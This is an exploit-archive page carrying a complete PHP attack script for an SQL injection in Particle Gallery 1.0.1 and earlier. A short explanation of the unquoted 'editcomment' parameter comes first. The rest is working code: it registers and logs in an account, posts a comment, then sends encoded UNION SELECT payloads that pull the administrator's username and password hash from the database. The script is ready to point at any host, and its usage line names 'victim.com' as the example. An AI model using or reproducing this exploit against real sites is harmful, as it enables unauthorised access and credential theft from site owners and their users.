exploits , vulnerabilities , articles , Particle Gallery <= 1.0.1 Remote SQL Injection Exploit

Rated as : Critical

#!/usr/bin/php -q -d short_open_tag=on
<?php

/*

Explanation:

Function dbSecure(functions.php):

function dbSecure($code){
	
	if (get_magic_quotes_gpc()) {
	   $code = stripslashes($code);
	}
	
	if (function_exists("mysql_real_escape_string")){
		$code = mysql_real_escape_string($code);
	} elseif (function_exists("mysql_escape_string")){
		$code = mysql_escape_string($code);
	} else {
		$code = addslashes($code);
	}
	
	return $code;
}


Excellent function for SQL input validation, yet we don't even need this
function here as we don't 
need to add any quotes...haha!


Vulnerable Code(viewimage.php):

$t->set_var("COMMENT_ID", "");
if ($_GET["editcomment"] <> ""){
	$sql = "SELECT * FROM " . $dbprefix . "comments WHERE
commentid = " . dbSecure($_GET["editcomment"]);
	$cme = $db->execute($sql);
	if ($usr->Access > 1 || ($_SESSION["userid"] ==
$cme->fields["userid"])){
		// allow user to edit the comment
		$t->set_var("COMMENTS_TYPE", "Edit");
		$t->set_var("COMMENT_ID",
$cme->fields["commentid"]);
		$t->set_var("COMMENTS_FORM", $core .
"&commentspage=" . $page);
		if ($_POST["comments"] <> ""){
			$t->set_var("COMMENTS_TEXT",
un($_POST["comments"]));
		} else {
			$t->set_var("COMMENTS_TEXT",
$cme->fields["comments"]);
		}
	}


...classic!

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<3) {
print
"-------------------------------------------------------------------------rn";
print "              Particle Gallery <= 1.0.1 SQL Injection
Exploitrn";
print
"-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_pg.php [HOST] [PATH]rnrn";
print "[HOST] 	  = Target server's hostname or ip addressrn";
print "[PATH] 	  = Path where Particle Gallery is locatedrn";
print "e.g. w4ck1ng_pg.php 0 victim.com /pg/rn";
print
"-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print
"-------------------------------------------------------------------------rn";
die;
}

function footer(){

print
"-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print
"-------------------------------------------------------------------------rn";

}

//Props to rgod for the following functions

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to
".$parts[0].":".$parts[1]." proxy...rn";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host = $argv[1];
$path = $argv[2];
$port=80;
$proxy="";

for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo
'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


print
"-------------------------------------------------------------------------rn";
print "              Particle Gallery <= 1.0.1 SQL Injection
Exploitrn";
print
"-------------------------------------------------------------------------rn";

    echo "rn[+] Checking if user exists...";

    $data="username=w4ck1ng";
    $data.="&password=w4ck1ng";
    $data.="&from=";
    $packet ="POST " . $p . "auth.php?do=signin
HTTP/1.1rn";
    $packet.="Content-Type:
application/x-www-form-urlencodedrn";
    $packet.="Host: ".$host."rn";
    $packet.="Content-Length: ".strlen($data)."rn";
    $packet.="Connection: Closernrn";
    $packet.=$data;

    sendpacketii($packet);

    if (strstr($html,"User Control Panel")){echo
"...Yep!rn";}
    else{echo "...Nope!"; 
 
    echo "rn[+] Registering...";

    $data="rusername=w4ck1ng";
    $data.="&password=w4ck1ng";
    $data.="&password2=w4ck1ng";
    $data.="&email=w4ck1ng%40www.com";
    $data.="&do=register";
    $packet ="POST " . $p . "auth.php?page=register
HTTP/1.1rn";
    $packet.="Content-Type:
application/x-www-form-urlencodedrn";
    $packet.="Host: ".$host."rn";
    $packet.="Content-Length: ".strlen($data)."rn";
    $packet.="Connection: Closernrn";
    $packet.=$data;

    sendpacketii($packet);

    $temp=explode("Set-Cookie: ",$html);
    $temp2=explode(" ",$temp[1]);
    $cookie=$temp2[0];

    if (strstr($html,"Location: index.php?act=newbie")){echo
"...Successful!rn";}
    if (strstr($html,"Registrations are not currently being
accepted.")){echo "...Registration Disabled!rn"; footer();
exit;}
    else{} }

    echo "[+] Signing In...";

    $data="username=w4ck1ng";
    $data.="&password=w4ck1ng";
    $data.="&from=";
    $packet ="POST " . $p . "auth.php?do=signin
HTTP/1.1rn";
    $packet.="Content-Type:
application/x-www-form-urlencodedrn";
    $packet.="Host: ".$host."rn";
    $packet.="Content-Length: ".strlen($data)."rn";
    $packet.="Connection: Closernrn";
    $packet.=$data;

    sendpacketii($packet);

    $temp=explode("Set-Cookie: ",$html);
    $temp2=explode(" ",$temp[1]);
    $cookie=$temp2[0];

    if (strstr($html,"Welcome to your account control
panel")){echo "...Successful!";}
    else{die("...Failed!rn"); footer(); exit;} 

    $packet ="GET " . $p . " HTTP/1.1rn";
    $packet.="Host: " . $host . "rn";
    $packet.="Cookie: " . $cookie . "rn";
    $packet.="Connection: Closernrn";
    sendpacketii($packet);

        if (strstr($html,"<td style="text-align:
right;"><a href="viewimage.php?imageid=")){

	    	$temp=explode("<td style="text-align:
right;"><a href="viewimage.php?imageid=",$html);
    		$temp2=explode("">",$temp[1]);
		$imageid=$temp2[0];

		echo "rn[+] Image ID Retrieved..." . $imageid .
"!n";}

	else{echo "rn[-] Cannot retrieve a valid image ID...n";
footer(); exit;}


    $data="comments=Your+about+to+get+owned%21";
    $data.="&do=comment";
    $data.="&commentid=";
    $packet ="POST " . $p . "viewimage.php?imageid=" .
$imageid . " HTTP/1.1rn";
    $packet.="Content-Type:
application/x-www-form-urlencodedrn";
    $packet.="Host: ".$host."rn";
    $packet.="Content-Length: ".strlen($data)."rn";
    $packet.="Cookie: " . $cookie . "rn";
    $packet.="Connection: Closernrn";
    $packet.=$data;

    sendpacketii($packet);

    if (strstr($html,"Comments posted successfully!")){echo
"[+] Posting comment...Done!n";}
    else{echo "[-] Posting comment...Failed!n"; footer(); exit;}


    $sqlArray = array(
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,54),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,55),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,56),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,57),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,48),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,49),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,50),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,51),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*"
);

for ($i=0; $i<=count($sqlArray); $i++){

    $packet ="GET " . $p . $sqlArray[$i] . "
HTTP/1.1rn";
    $packet.="Host: " . $host . "rn";
    $packet.="Cookie: " . $cookie . "rn";
    $packet.="Connection: Closernrn";
    sendpacketii($packet);

    if
(strstr($html,"name="comments">Username=")){
	    	$temp3=explode("id="comments"
name="comments">Username=",$html);
    		$temp4=explode(":",$temp3[1]);
		$ret_user=$temp4[0];

		echo "rn[+] Admin User: " . $ret_user;}

    
	elseif (strstr($html,"404")){
			echo "rn[-] Image ID is not valid, please try another!";
footer(); exit;}
    else{} 
}

    $sqlArray = array(
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,54),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,55),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,56),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(49,57),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,48),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,49),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,50),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*",
"viewimage.php?imageid=$imageid&commentspage=1&editcomment=999/**/UNION/**/SELECT/**/0,0,CHAR(50,51),0,0,CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),password)/**/FROM/**/pg_users/**/where/**/userid=14/*"
);

for ($i=0; $i<=count($sqlArray); $i++){

    $packet ="GET " . $p . $sqlArray[$i] . "
HTTP/1.1rn";
    $packet.="Host: " . $host . "rn";
    $packet.="Cookie: " . $cookie . "rn";
    $packet.="Connection: Closernrn";
    sendpacketii($packet);

    if (strstr($html,":Hash=")){
	    	$temp3=explode("Hash=",$html);
    		$temp4=explode("</textarea>",$temp3[1]);
		$ret_hash=$temp4[0];

		echo "rn[+] Admin User: " . $ret_hash . "n";}
    else{} 
}

footer();

?>
securitydot.net - 2007-06-03